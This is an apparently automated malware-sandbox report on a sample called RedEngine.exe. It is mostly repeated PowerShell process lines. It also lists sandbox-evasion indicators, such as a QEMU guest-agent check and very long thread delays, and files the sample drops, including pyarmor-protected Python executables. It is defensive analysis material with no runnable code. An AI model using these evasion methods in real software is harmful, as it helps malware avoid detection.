Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.0000000002962000.00000004.00000800.00020000.00000000.sdmp, mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.0000000002958000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE
Source: mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.0000000002471000.00000004.00000800.00020000.00000000.sdmp, mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.0000000002962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE@\

Source: C:\Users\user\Desktop\RedEngine.exe	Memory allocated: 2690000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Memory allocated: 1A8C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Memory allocated: A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Memory allocated: 2470000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Memory allocated: B00000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\RedEngine.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6127	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3644	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5632	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4081	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Window / User API: threadDelayed 6141	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Window / User API: threadDelayed 3853	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 655
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2779
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2698
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 440
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4310
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4334
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1753

Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60002\pyarmor_runtime_000000\pyarmor_runtime.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68282\pyarmor_runtime_000000\pyarmor_runtime.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60002\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15482\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68282\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15482\python312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68282\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68282\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68282\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60002\_tkinter.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15482\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15482\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60002\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68282\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68282\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15482\_socket.pyd	Jump to dropped file
